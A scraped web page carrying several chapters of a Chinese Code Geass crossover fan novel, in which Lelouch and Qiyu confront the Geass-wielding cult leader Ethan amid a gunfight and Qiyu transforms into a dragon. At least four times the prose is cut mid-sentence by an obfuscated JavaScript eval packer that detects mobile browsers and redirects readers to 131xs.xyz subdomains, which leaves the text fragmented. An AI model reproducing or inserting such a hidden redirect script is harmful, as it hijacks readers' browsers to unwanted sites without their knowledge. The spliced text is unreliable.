RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559875|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个靠窗的位子，帮七羽拉开椅子：“不管你想问什么，先坐吧。” “昨天外城发生的事情已经扩散发酵了？”七羽落座后看着鲁路修自然的拿起餐桌上的电子屏点单，率先发问。 “那倒没有，外城的情况对内封锁了，内城的居民只知道外城发生了动乱，但不知道具体原因。”鲁路修点完单后往椅背上一靠，“你是奇怪内城的氛围吧？” 七羽点头。 他本来还以为是人们知道了“绝望病”，所以才对身体接触这么敏感，再加上“绝望病”这个名字是他从斯卡利口中得知的，所以下意识就这么认为了。 结果居然不是吗？ 鲁路修解释道：“内城流行的是一种和外城完全相反的病，具体表现为思维能力与感情的丧失，只存在生存本能，但如果对其下达命令，这些失去了思维的患者也能完成相应的命令，前提是他们的能力能够办得到。” “这也不算相反吧？” “……你关注问题的方向真的很奇怪。” “好吧，我就这么一说。”有服务生给他们端上来了茶水，七羽握着茶杯，温热的茶水让瓷质的杯壁带上了暖暖的温度，可惜他现在没什么喝茶的心情，“这也是C的世界引起的吗？” “不，我怀疑这是伊桑的GEASS。” “等一下，他不是还没拿到你的基因吗？为什么他也会有GEASS？” 听七羽这么问，鲁路修这才意识到七羽对GEASS的理解产生了偏差。 “GEASS不是专属于帝国皇族的力量，GEASS的力量是由拥有Code的人赋予的，只要和Code的拥有者签订契约，就能获得专属于自己GEASS。”鲁路修把衣领往下拽了拽，指着自己锁骨上红色飞鸟状的纹身，“等GEASS的持有者完成了契约内容，Code的拥有者才有可能摆脱永生不死的诅咒。” 七羽做了个你继续的动作。 “所以伊桑没拿到我的基因和他拥有GEASS并不矛盾。”鲁路修总结道，“所有表现出思维丧失症状的人大多数都在第十一区身居要职，这显然是有人特意筛选过目标的，和外城无差别爆发的‘绝望病’完全不同。” 用茶杯遮挡，鲁路修隐晦的指向窗外的某个方向：“那边，别转过头，那是一个私人俱乐部，今天会在里面举办一场历史研讨会，伊桑也会出席。” 分了点心神过去的七羽无语：“……都这时候了他们还有心思搞学术研究吗？” “毕竟是多方博弈，你总得给他们一个展现自己的舞台。”鲁路修笑笑，“你有兴趣参加吗？” 七羽很想说自己没兴趣，但看样子鲁路修是打算要参加。 抛开GEASS的力量不谈，鲁路修的武力值真的是…… “你是想去见伊桑？”七羽脸上写明了“你没问题吗”这五个字，“你不是说他可能有GEASS？” “Code的拥有者是不会被GEASS的。” 很好，所以只有鲁路修GEASS伊桑的份，没有伊桑GEASS鲁路修的份。 “但我叫你来的确是想多一重保险。”鲁路修也不瞒着七羽，“还有就是，你真的不打算问我吗？” “问什么？问你GEASS了我什么吗？”七羽转了转手中的茶杯，“其实我大概能猜到你做了什么。” 相识短短一天，鲁路修在他传送进副本的一开始就在用各种方式帮他打圆场。 站在鲁路修的角度，要是自己发现身边突然凭空出现一个人，而自己刚好又是本世界的关键人物，那自己会怎么做呢？ 应该会问清楚来人的身份目的吧？ 也不排除鲁路修会直接命令自己效忠他。 但一是现在没有向那种情况发展，二是就算他的职阶模板是对魔力不太高的Berserker，但魔力的底子在这摆着，鲁路修下达这种长期的绝对命令也不一定有用。 “所以你是打算找机会在伊桑落单的时候对他施加GEASS？”七羽跳过了这个话题，又转回到正题上，“没必要这么麻烦，我直接把他绑出来不就行了，我不会让人发现的。” 鲁路修深深地看了七羽一眼，随后他扭头看向窗外，在窗户的对面，伊桑刚刚走进了俱乐部的门口。 “我想单独和他谈谈。”他说，“算是给他最后一次机会吧。” 10. Code Geass 伊桑选定召开历史研讨会的这家俱乐部是一家私人俱乐部，只有会员或者有三位会员同时担保的人才能进入，但对鲁路修而言，只需要用Geass对门口负责接待的侍者说句话就行。 这间俱乐部从外部看还不觉得大，但进来后鲁路修才发现左右两家店面其实都属于这家俱乐部。俱乐部的主人把左右两边的墙壁打通了，于是内部空间一下子增加了三倍，如果不是伊桑已经来过很多次，侍者认识他，鲁路修怕是得费一番功夫才能找到他们举办研讨会的包厢。 现在就简单了，他只要和侍者说自己也是研讨会的邀请人，然后让侍者带路就是了。 伊桑的研讨会举办地点在俱乐部的二层的宴会厅，从一楼走过去的这一路上鲁路修敏锐的发现多次有目光从自己身上扫过，这些观察他的人基本上都在确认他的长相后若无其事的移开了视线，只有少数零星的几个看清他外貌后，原本还算遮掩的目光一下子明显了起来。 嗯……看来今天不只是伊桑准备收网，第十一区实际的掌权人也准备要收网了啊。 鲁路修脑海中掠过斯卡利的面容。 侍者带着他走过楼梯转角时，鲁路修十分自然的站在台阶上环视了整个儿一层大厅，把那几处目光可疑的地点都收入眼底，随后大大方方的同侍者搭话，夸赞他们俱乐部的装潢用心，很有史料中神圣不列颠帝国时期的风格特色。 “您的喜欢就是我们最大的荣幸。”侍者在一扇古朴的木质房门外停下脚步，他下压门上的青铜把手，拉开门弯下腰，“祝您度过一个愉快的中午。” “对了。”鲁路修点点头踏入门内，在侍者即将关门时侧过头，假做刚想起来一般询问道，“我一会儿中午还有另外一场很重要的邀约，但当着利拉德先生的面就这么离开也太失礼了，我也不好因为我个人的原因打断他们的研讨，你也知道，他们一讨论起来就会全情投入。” 鲁路修露出不好意思的腼腆笑容：“所以我就想提前问问，这个宴会厅还有别的隐蔽一点的出口吗？” “有的先生。”侍者不疑有他，详细的给鲁路修介绍了一下宴会厅另外两处出口的位置，一处连着一层的应急逃生通道，一处通往俱乐部外部的外挂楼梯。 “太感谢了。”鲁路修点头致谢，随着侍者关上门，他的视线也转向了宴会厅内部。 这是一间最多能同时容纳50人的宴会厅，分为上下两层，下方中央摆放着几张圆形的木桌，木桌上都盖着暗红色的流苏桌布，氤氲的茶香与室内的熏香味道融合在一起，其中还有几分茶点的香甜味道。门口右侧方的帷幕后面有通往二层的楼梯，楼梯的扶手采用镂空设计，雕刻成紫罗兰花的样式，显得精巧又别致。 宴会厅里已经有了不少人，鲁路修在人群中的伊桑注意到他前右跨一步，走到了帷幕后方，沿着楼梯上了二层。 二层的空间就没有一层大了，但好在视野开阔，能一眼看清下方的演讲台，同样制式的圆桌沿着护栏摆放，鲁路修挑了角落一张光线最为昏暗的圆桌坐下，毫不见外的取了茶杯，给自己倒了杯红茶。 十一点整，下方的研讨会正式开始。 身着礼服的伊桑在现场所有人的瞩目中走上演讲台，鲁路修一眼就认出了他身上的那件礼服是仿照自己实行“零之镇魂曲”时所穿的皇室服饰。 “女士们，先生们，很高兴你们来参加本次研讨会，我知道近期发生了很多事，你们之中有人产生了动摇，有人不被亲人理解，他们质疑你们、阻止你们，甚至向最高决策厅检举你们！” 伊桑原本温和的表情随着他的话语逐渐严肃，最终演变为某种崇高的肃穆。 “但我向排除千难万险赶到这里的你们、我的同胞们发誓！你们绝不会后悔，此时此地，在这里，这一刻会成为你们这一生中最重要、最辉煌的时刻！” 在场倾听他演讲的三十余人无人落座，他们聚集在一起，站在演讲台前的空地上以仰望的姿态注视着台上的伊桑，随着伊桑说完这段简短的开场白，这些衣着体面、一看就出身不凡的家伙齐齐振臂高呼，现场的氛围完全不像正经的历史研讨会，更像是邪.教的传.教现场。 这一幕的既视感实在是太强了。 鲁路修被迫回想起自己最热血、也最中二的那段历史。 那时候的他作为黑色骑士团的首领，以ZERO的姿态慷慨激昂的向黑色骑士团全体进行演讲与动员。 此时的伊桑和他之间，就差单手覆面，另一只手伸展到极限，然后以前胸为起点，向侧上方扬起划出一道标准的半圆，而身后的黑色披风也在漆黑夜色中随着扬手的动作猎猎作响。 如果下面再热血沸腾的喊上一句“All Hail Lelouch! All Hail Britannia!*”那就更应景了。 结果怕什么就来什么，在鲁路修满眼看不下去的尴尬表情中，理应已经过了中二年纪的伊桑摆出了鲁路修记忆中的标志性动作。 “就在今天，我代表被帝国所背叛、陷害、抛弃的第九十九任皇帝，毁灭世界之人、重构世界之人，真正的救世主鲁路修.V.布里塔尼亚在此宣布——” 当那一连串的头衔连同自己的名字一起从伊桑的嘴里蹦出来时，鲁路修拼尽全力才控制住自己不要拔腿就跑。 救命，你自己犯中二病就算了，我都“死了”，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559876|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么还打着我的名义犯中二病啊！ 在人世间行走百余年的成熟魔王坐立不安，连瞪向伊桑的目光都要压制不住里面的杀意，最后鲁路修只能强迫自己移开目光，不然铁定被下面的人发现。 沉浸在演讲中未发现端倪的伊桑动作优美，舞动的手臂像是杰出的指挥家。 “——世界即将迎来变革！” “他说！如果恶可以获得力量，那我宁愿化身成恶，也要讨伐极恶！*” “他说！如果感情会成为障碍，那就将感情抹煞！*” “霸者最孤独，王者最寂寞！*” “错的不是我们，是这个世界！＊” 伊桑裂开嘴，文质彬彬的脸孔上再也不见温和学者的面具，那双蓝眼睛弯成新月的形状，带着扭曲的恶意，仿佛真得如他所说，化身成了最纯粹的恶，只为颠覆这个极恶的世界。 “现在，是时候了，我的同胞们，把世界最真实的一面展现给那群渣滓吧！” “Yes，Your Majesty!*” 就在所有人振臂高呼之时，伊桑率先从演讲台下方的暗箱里摸出来把Jakobs，其他人也紧随其后，纷纷掏出早就准备好的武器。 刚刚还被尴尬到几乎要夺路而逃的鲁路修目光一凛，在一部分枪口对准二楼的瞬间猛地后仰。 “砰！” 伴随着实木座椅倒地，鲁路修顺势后翻，躲到了墙壁之后。 枪战爆发得猝不及防，在现场的无差别扫射下一楼和二楼隐蔽的角落里纷纷有人冒头还击。 还真是热闹…… 现场的情况瞬息万变，鲁路修冒着被流弹击中的风险悄悄探头观察，发现那些举枪扫射的家伙们明显是样子货，除了最开始打了第十一区的伏击人员一个猝不及防，很快就倒在了专业人员的精准枪法下。 他们的士气还没崩溃，不是因为他们愿意为了理想献身的崇高精神，而是因为缠绕在他们瞳孔上的那一圈血红色光晕。 Geass。 而向他们施加Geass的人却逆着人流，趁着场面一团混乱的时候向着二层跑来。 “哒哒哒哒！” 多年游走在死亡前线的本能让鲁路修察觉到了危险，他以自己最快的速度侧翻，同时用右脚勾倒了圆桌挡住自己，半自动步枪的火舌倾泻在圆桌桌面上，把造价不菲的桌子射成了蜂窝。 “王！这边！” 从圆桌被射穿的弹孔中，鲁路修瞥见几个穿着黑色拘束衣戴着面罩的家伙从边交叉射击打着掩护，边向伊桑靠拢。 呵，终于是找见你们这帮老鼠了。 Geass向团。 11.Code Geass 鲁路修等了片刻才沿着Geass向团掩护伊桑撤退的逃生通道摸去，期间楼下那些被伊桑施加了Geass的少爷小姐们基本上都被第十一区的特遣队制服了，只有少数几个看起来真的上过战场、有那么两把刷子的让特遣队多浪费了点时间，毕竟这些能闲得无聊来参加历史研讨会的，就算不是第十一区里有名的贵族，就是学者界桃李满天下的知名学者。 得罪前者会让他们丢了饭碗，得罪后者则会让他们名声扫地。 对手都是碰不得的金贵人物，特遣队动起手来自然得收着来，畏首畏尾的结果就是让鲁路修寻到了脱身的机会。 “咔嚓。” 鲁路修在进入逃生通道后第一时间就是反手落上门锁，在隔绝了声音的同时也把浓郁的血腥味关在了狭小的楼梯间。 “怎么弄成这样？” 地上横七竖八的都是尸体，除了伊桑本人，剩余的Geass向团成员都零零散散的掉在地上了，鲁路修连个下脚的地方都没有。 “抱歉，这家伙想Geass我，一时没控制住……” 七羽单手掐着伊桑的脖子把他按在墙壁上，蛛网般的细密裂痕以伊桑抵着墙壁的后背为中心向外扩散，正面承受了七羽锁喉的伊桑看起来只剩下半口气了，鲜血连带着不知道哪个内脏的碎末从嘴边被咳出来，回流的那部分又呛回气管，加重了他的窒息。 “……就弄得脏了一点。”七羽略微松了松手上的力度，几近窒息的伊桑在思维空白了两秒后胸膛骤然快速起伏，“要不L.L.你就站在那个位置问吧？” 鲁路修的目光从地上一摊七零八落的尸体转到七羽带着无辜笑容的甜美脸庞上。 要知道，昨晚面对陷入“绝望”从而癫狂的帮派成员，七羽都没有直接下杀手，而是先询问他对方还有没有抢救的可能。 而现在…… 隔着一扇应急逃生门的宴会厅内枪声渐熄，现在时间紧迫，鲁路修还是决定回去再和七羽讨论他的精神状态问题。 “伊桑.利拉德。”做好选择的鲁路修嗓音低沉地念出这个名字，“你说你是我的代行者，我的信徒？” 神智模糊的伊桑一开始并没有对鲁路修的这句话做出反应，直到半分钟后—— “果然是您！”伊桑连自己的伤势都抛在了脑后，他踢着腿妄图从七羽手中挣扎逃脱前去拥抱自己的信仰，他因窒息而发青的脸上浮现出狂热的神色，就如同他在菲丽家初次见到鲁路修那般虔诚，“您放心，您的夙愿马上就能达成了！就在今天，立刻、马上，那些背叛您的人就会亲手毁灭旧世界，只有您的选民——只有经我筛选的优秀同胞才能拥抱新世界！” 伊桑脸上浮现不正常的潮红，他几近啜泣的呓语着含混不清的话，黏在鲁路修身上的眼神痴迷又炙热。 七羽拧着眉缩回手，侧身闪开跌倒在地的伊桑，左右转头四下寻找可以用来擦手的东西。 “新世界？选民？”鲁路修尾音上挑，居高临下的俯视努力直起身子的伊桑，“可我只看到了一只一败涂地的丧家之犬。” “不……不是的！”勉强撑起身的伊桑被尸体绊倒在地，被鲁路修质疑的恐慌令他语无伦次，“我没有失败！我和您是一样的！我是您的同类！我会在您的新世界获得重生，成为您无上的代行者！” 仿佛伊桑是什么脏东西般，没找到东西擦手的七羽又后退了一点距离。 “我的新世界？”鲁路修听到宴会厅再次爆发了激烈的枪声，恐怕是没接应到伊桑的Geass向团为了他们的王再次冲了进来，“娜娜莉所爱的世界才是我的世界。” 时间早就让鲁路修学会了和解，他清楚的知道没有人可以永远的消灭纷争，但世界一定会是螺旋上升的。 虽然现在的世界因为战争、因为辐射而千疮百孔，残余的幸存者们野蛮无知，但这些如野草一般的幸存者们全部都在坚韧的活着。 他们在废土上建立新的聚集地与新的秩序，他们用自己哺育着这个千疮百孔的世界。 鲁路修纵然会因为自己曾经的学院被变种人当作巢穴而愤怒，但他并不憎恶这个世界。 这是娜娜莉留给他的，这就是最好的。 伊桑挣扎着往鲁路修身旁爬去的身体僵硬了，他机械缓慢的抬头仰望鲁路修，被掐出淤痕的脖子因为弯折发出“咔咔”声。 “您在说什么？这就是您的愿望。”伊桑死死盯着鲁路修，“您憎恨这个世界，您要颠覆这个世界，您要解放这个世界。” 鲁路修否定道：“不，那不是鲁路修.V.布里塔尼亚的愿望，那是你的愿望。” “你说谎！”伊桑的表情扭曲了，“你会再次背负全世界的恶意死去，而我作为你人间的代行者，将会赋予这个世界新生！” “我会比娜娜莉.V.布里塔尼亚做得更好！”过于用力的嘶喊成了压倒伊桑喉咙最后的稻草，他撕心裂肺的咳嗽起来，眼泪和鲜血混合着一起往下淌，“我会成为他们的王……会成为比那个……咳咳……那个伪善的女人更出色的王……我会反复在终末重生咳……” 他眼神涣散，反反复复的重复着“重生”、“永恒”和“王”这几个字眼。 那样子滑稽又可笑。 “然后呢？”鲁路修谆谆善诱，引导他继续说下去，“成为王，然后呢？” 伊桑茫然。 “成为王……然后、然后……就……”他吐出的词语连不成句，似乎在他的考量中“以后”是某种顺理成章的事情，压根不需要浪费精力去思考，“我会创造一个理想城，一个我的同胞们将永远不会死于饥饿，不会畏于强权的理想城……” 他越说越顺，失焦的双眼似乎看到了自己所描述的乌托邦，因此他本已有些萎靡的精神再度亢奋起来：“我和那个残次品第一百代皇帝不同，拥有王之力的我不需要通过粗.暴原始的战争手段就可以皇权永固，我将做到真正的号令如一，我的统治无坚不摧，我的帝国永远存续……所以我的同胞们再也不会因为战争失去他们的伊甸园，我会消灭纷争，消灭不幸，消灭绝望……对，这就是我的新世界！” “是吗？”鲁路修冷冷一笑，“既然如此，那为什么你的Geass会是思维抹消？” 他厌恶的看着地上的伊桑：“你只是想成为一呼百应的独裁者，你打着我的幌子所做的这一切，都是为了满足你自己的野望。” Geass反映着人的本质，例如C.C.当年希望有人能够爱自己，于是她的Geass就是获得别人的爱。例如自己当年妄图颠覆整个世界，于是他获得了号令世界的力量。 “而你，伊桑.利拉德，你认为人类应该由金字塔上的小部分人来决定未来，绝大部分人都是只需要贡献生产力和人口的废物，与其让他们拥有思维的能力，因为拥有思想带来不可控的愚昧动乱等，还不如成为忠诚听话的工具。” 而刚刚，伊桑居然称呼工具为同胞。 真是可笑。 鲁路修嗤笑：“你算哪门子的王？” 这又算哪门子的理想城？ 而这样的人，居然口口声声说是以自己为信仰。 令人作呕。 鲁路修不是没被人误解过。 朱雀、卡莲、黑色骑士团的很多人都曾质疑过他、反叛过他，他也承认，他改变世界的出发点既不无私也不崇高。 他也会用甜蜜美妙的谎言包装自己的初衷，裹挟着第十一区的人们乃至全世界的人们成为自己变革的垫脚石。 可是鲁路修拒绝被拿来同这种人比较。 理想？ 伊桑.利拉德有的可不是理想。 他只是被权利蛊惑的可怜虫罢了。 在鲁路修看来，他甚至比自己曾经最为憎恨的男人——查尔斯.Zi.布里塔尼亚还要可悲。 至少查尔斯是真的有过理想。 “闭嘴！”伊桑大口喘着气，他怒视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鲁路修却没什么兴趣多说，他只是简单点了点头，表示的确有这么回事儿。 “好吧。”见他不愿多说，七羽也没继续问，他稍稍抬脚留给伊桑一点喘息的空间，“直接了结他？” “哈……哈哈……你们以为自己赢了？”伊桑的额头布满冷汗，他笑得上气不接下气，“你们以为……你们能赢？” 七羽和鲁路修猛得看向窗外。 透过楼梯间那窄小的窗户，二人同时看清了窗外的异像。 ——天空裂开了。 如烂泥一般匍匐在地上的伊桑拼命仰起头，他失血过多的青白面容因为回光返照重新变得红润，他手脚并用的爬往那唯一一扇能够窥见天光的窗户。 “哈哈……你们都会下地狱……而我、我将在新世界……获得重……生……” 他终究没能看到自己打开的那扇门，他永久的停在了距离终点一米的尸堆之上。 “喂，L.L.，这该不会就是C的世界吧？” 七羽凝视着窗外。 在窗外正对的天空，一条巨大的裂缝悬挂在那里，裂缝的对面是浓郁的漆黑，无数类似于幽灵的东西尖啸着从中飞出，可如此明显的异像，他却没听到外面有任何骚动。 普通人看不见。 七羽意识到。 鲁路修也看到了窗外的变化，但他仅仅只是瞥了一眼就移开了视线：“七羽，你是不是中了伊桑的Geass？” 七羽偏头和他对视。 “你发现啦？”七羽扯开一个大大的微笑，那双天青色的瞳孔中心冒出了一个金色的斑点，随后斑点飞速扩大，吞噬了所有的天青色，“没关系的，不用害怕。” 七羽笑得眼睛弯弯，“只要你没有‘绝望’，你就会是安全的。” 「警□！」 「当前□□□」 「□□！」 12.Code Geass 「滴滴……」 「滴□滴……」 「系□正在□□……请□候……」 「重□□□」 「□败原因：□□□□□」 「□前□性值：□□」 虽然脑子里奇怪的声响一直没停，虽然伊桑对他施加Geass后他的思维有片刻的空白。 但七羽现在感觉自己很好，甚至从没这么好过。 他偏着头饶有兴致的观察鲁路修的表情，在注意到鲁路修沉下的脸色后，七羽脸上的笑容却越发甜美。 “不要烦心呀。”七羽语调轻柔，他越过两人之间横着的尸堆来到鲁路修面前，仰头的时候圆形的瞳孔拉长成了椭圆的形状，“烦心会令你变得美味，而我对食物的忍耐力向来不太好。” 七羽嘴上说着“美味”，可表情却诉说着厌恶。 那些从C世界跑出来的东西在天空之上越聚越多，鲁路修分了点目光过去，从他的角度看去，窗外的世界宛如地狱。 那些从群体潜意识中衍生出来的思念体每一个都由巨大的恶意凝聚而成，极端的负面情绪令它们失去了最基本的人形，各自畸变为无法描述的可怖诡秘。 自第一个智慧生物诞生积攒至今的负面情绪已经膨胀到C世界的容纳极限，就算阿卡夏系统没有损坏，C世界边界的崩溃也是迟早的事。 如果想解决这个问题，只有两种方式。 第一种就是像他曾经所做的那样，让世界所有的憎恨都集中到自己身上，由持有Code、能够自由进出C世界的自己来充当容纳恶意的容器。 第二种就是彻底消灭这些思念体。 站在鲁路修的角度，当然是第二种方法更加实用，毕竟就算他对自己的意志力有信心，但那也是治标不治本。等到他再也无法负担更多……或者说等到他彻底被恶意所逼疯，那么下一个可以作为载体的人就有且仅有C.Ｃ.一个人了。 他不允许。 鲁路修盯着眼前七羽近在咫尺的妍丽的面容，目光闪烁。 “是的，那些东西是从C世界跑出来的思念体。”鲁路修慢吞吞地说道，“现在他们还没发现可以通过侵蚀人类来扩大自己的族群，只是漫无目的的在天上飘荡，但几分钟后就不一定了。” 这就是引起“绝望病”的源头。 七羽眼睑微垂，心不在焉的听着鲁路修的讲解，他能感觉到，随着思念体数量的激增，某种深深刻进了他骨血里的本能在渐渐苏醒。 流淌全身的冰冷魔力现在仅仅是微微发烫，但再过不一会儿，它们就会沸腾到能够烧焦他躯壳的程度。 魔法少女由魔力凝结的躯壳对疼痛的感知分外迟钝，于是对他而言，这些微不足道的疼痛便成了滋养另一种观感的养料。 他的本能叫他赶紧冲出去“觅食”，可他的身体却渴望魔力彻底沸腾的那一刻带来的快.感。 好难选择哦。 总觉得选哪个都会留下遗憾。 那不如把这个难题交给别人好了。 七羽的目光落在鲁路修的心口，那双已经彻底兽化的金色瞳孔里映照出点点黑斑。 变黑的话就挖出来吃掉。 七羽舔了舔唇，他“饿”了。 “C的世界不会开启太久，我的同伴正在抢修阿卡夏系统。”时间紧迫，对于C.C.连同□□的战后遗民不分日夜抢修阿卡夏之剑的付出鲁路修只是简短的提了一下，他把更多的言语分给了七羽，“我原本是想拜托七羽你消灭那些思念体的，但现在……” 鲁路修注意到当他说出这句话时七羽的眼睑颤了颤。 “我想请求你，在你离开这个世界后，不论多么困难、不论概率多么微小，你都要回到这个世界，我会坚持到你回来的那一刻，等着你来肃清一切。” 鲁路修顿了顿，他的目光再次投向窗外，这一次他没去在意遮天蔽日的思念体，而是目光悠远的看向神根岛的方向，在那里，他的魔女应该正在拼尽全力的恢复阿卡夏之剑。 有那么点遗憾，分开的时候应该多给她烤几个披萨，临行的时候更应该多抱她一会儿。 “——包括我。” 只是很短暂的几秒钟，鲁路修收回视线，同时也收回了眼里的眷恋。 “作为报答，我会给你一个信物，你拿着我的信物去神根岛找这个世界上另一名Code的拥有者，带她离开这个世界。” 离开这个即将毁灭、即将没有我的世界。 鲁路修提起口中的人时，无论是眼神还是口吻都温柔极了：“她除了有些挑食只爱吃披萨之外，能够胜任除了情人之外的任何工作。” 站在鲁路修身前的七羽宛如凝滞了。 他呆呆地盯着鲁路修皮肉下跳动的心脏，从他此时的视野里，能够清楚的看到那些霉斑一样的黑色色块消失溶解的全过程。 他要饿肚子了，但是他体内那个不会跳动、不会泵血的器官却温温热热的。 是这样啊…… 原来是这样啊…… “鲁路修.V.布里塔尼亚。” 七羽第一次用真名称呼了鲁路修。 他轻盈的后退几步，在他的右手手背上，寄生于此的邪龙之眼正在挣扎，没了理性的约束，仅仅只是手背那层薄薄的皮肉根本无法对龙眼造成阻拦。 伴随着赤红的火焰与空间的扭曲—— 为散播绝望而生的漆黑邪龙在七羽的手背上睁开了它的眼睛。 “现在我们是朋友了。” 没有痛觉的身体在颤抖，七羽说不上来自己此刻感受到的到底是什么，因为他已经无知无觉的生存了太过漫长的时间。他只知道如果自己不迟钝一点、不麻木一点，他的灵魂水晶顷刻间就会碎裂成悲叹之种。 他不想变成怪物。 漆黑的龙鳞从龙眼与手背的嵌入处攀爬至七羽的身体，由魔力组成的躯壳开始因为魔力形态的改变向另一种生物形态转化。 “等等！七羽你要干什么？！”鲁路修的瞳孔在形势的突变下收缩成针，他急切的往前迈步，但拉胯的体能与身体协调能力再次拖了他的后腿，他只是一个踉跄的功夫，被七羽所触碰的墙壁就如冰雪般融化成了灰白的尘埃。 锋利尖锐的翼状龙骨从肩胛骨的位置破肉而出，掉落的血肉在离开七羽的身体后转化成红色的魔力因子，七羽在一片暗红的血气中回头望向试图用眼中飞鸟阻止他的鲁路修。 “遵循我的本能，去做我该做的。” 笑起来美好到仿佛一个绮丽幻梦的少年在鲁路修眼前变成了一具怪物。 火焰升腾，龙骨上先是生出筋肉、随后长出鳞甲，那团还没有鲁路修高的怪物从被腐蚀出来的缺口一跃而下。 “一会儿要接住我啊鲁路修，别让我掉在地上摔碎了。” “等……！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569714|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 艰难赶到缺口处的鲁路修才刚刚开口就被一阵腥热的狂暴风压掀飞了出去，被掀飞的不仅仅是他，还有整个建筑。 在鲁路修的意识陷入由死到生的空白之前，最后映入他眼中的是一具腾飞的漆黑巨龙。 「警□！」 「因理□□过□，已异□！」 「请注意□力□值！」 「紧□联络管□□□！」 * 就在黑龙冲向天空之际，无法观测到C世界与思念体的第十一区人民全体都看到了这可怕的一幕。 由魔力高度凝聚成的生命体在被人类观测的时候甚至会灼伤人类脆弱的视网膜，当仰视天空的第十一区人民反应过来时，唯一能做的只剩下了捂着眼睛惨叫。 但关键时刻，第十一区的最高决策厅却没有停止运转。 在第十一区中心最高建筑的顶层，十五位贵族围坐在圆桌旁，他们的目光全都落在圆桌中央的全息投影上。 “我们必须立刻启动最高应急法案。” “菲丽.德里菲尔德，现在到你们德里菲尔德履行自己义务的时候了。” “交出钥匙。” …… 然而无论最高决策厅的其他贵族如何劝说，菲丽都只会机械的重复那句：“不行，父亲说了，我们只需要把Geass消除器和蜃气楼送到那位殿下手上就够了。” 一次两次，还有和斯卡利关系亲近的贵族帮着菲丽打圆场，但随着天上黑龙的行为愈发疯狂，那些和稀泥的声音也逐渐减少，最终在黑龙灼热的吐息擦着第十一区最高建筑的穹顶过去、将穹顶融化后，这些和稀泥的声音彻底消失了。 “菲丽小姐，您如何保证那条黑龙不会威胁到第十一区呢？” “得了吧特洛尔，就算这小丫头片子拿她的脑袋来担保又有什么用？等那条黑龙在天上耀武扬威完往下喷一口火，我们的尸体还能跳起来找她要她的头来偿命不成？” “就是，别说她还不是德里菲尔德的家主了，就是斯卡利在这里担保都没用。” “赶紧的，别耽误时间，把中子羽流炮的钥匙交出来！刚刚的龙息可是擦着我们的脑袋过去了！脑袋！” “你们可真是绅士，死到临头了还想着通过对话解决问题，卫兵、卫兵！把她就地拿下！” “菲丽小姐……” “你……” “死丫头……” …… “菲丽.德里菲尔德？！” 乱糟糟吵成一团的会议室在这声惊叫下安静了下来，一直宛如苍白幽魂一样站在原地神游的菲丽收回了沾血的右手。 ——就在刚刚，女孩瘦弱细小的胳膊在众目睽睽之下快速变形，属于人类皮肤的浅白肉色蜕下伪装，还原成了原始的碳纳米管与碳纤维，这种坚固而又轻巧的材料在组成尖刀状的利刃时能够按照主人的意愿轻而易举的切断人脆弱的喉管。 在场的所有贵族看着缓缓倒下的查理——他们之中刚刚叫嚣得最厉害的家伙，也是第一个尝试叫卫兵把菲丽当场击毙的家伙。 现在他已经不用再担忧黑龙是否会威胁到他的身家性命了。 因为他已经死了。 菲丽空洞洞的目光从所有人脸上扫过，曾经会因为条件简陋害怕手术失败、害死无辜人的小姑娘用轻飘飘的声音问道—— “现在，谁赞成，谁反对？” 13.Code Geass 好黑。 好冷。 发生什么了？ 我在哪里？ 逼仄的小小空间里，被压在层层建筑废墟下的鲁路修半阖着眼，紫色的瞳孔半天都无法对焦。 身体又冷又重，不知道在经历第几次自愈重组。 他想从最基本的活动开始，比如先动一动手指什么的，可是他却感觉不到自己的手在哪里，或者说，他的大脑中枢失去了对肢体的控制权，微弱到近乎于无的感知也被困在了狭小的空间里，唯一能感觉到的就是心肺在被无限的挤压，鼻翼间漂浮的全部都是呛人的粉尘，生存所急需的氧气却寥寥无几。 鲁路修垂着的睫毛小幅度地颤动了一下，有温热的液体从睫毛滑落流进眼睛，刺激着暂时失去视物功能的视网膜。 “咔嚓。” 被白噪音填满的耳蜗里突兀地混入了不一样的杂音，伴随着杂音的产生，压在身上的沉重负担似乎有减轻那么微不可查的一点。 鲁路修被液体浸润的眼珠转了转，眼前弥漫的深黑里好像多了一抹鲜艳的红，透过这微弱的色彩，鲁路修停摆的大脑里关于存储记忆的那一部分终于恢复了正常。 天空之上的巨大裂缝、不可名状的丑陋思念体，以及在自己面前异化成怪物的长发少年。 对了，我被压在了倒塌的俱乐部废墟下面。 我得站起来…… 鲁路修无意识的屈了屈手指。 我得去接七羽…… 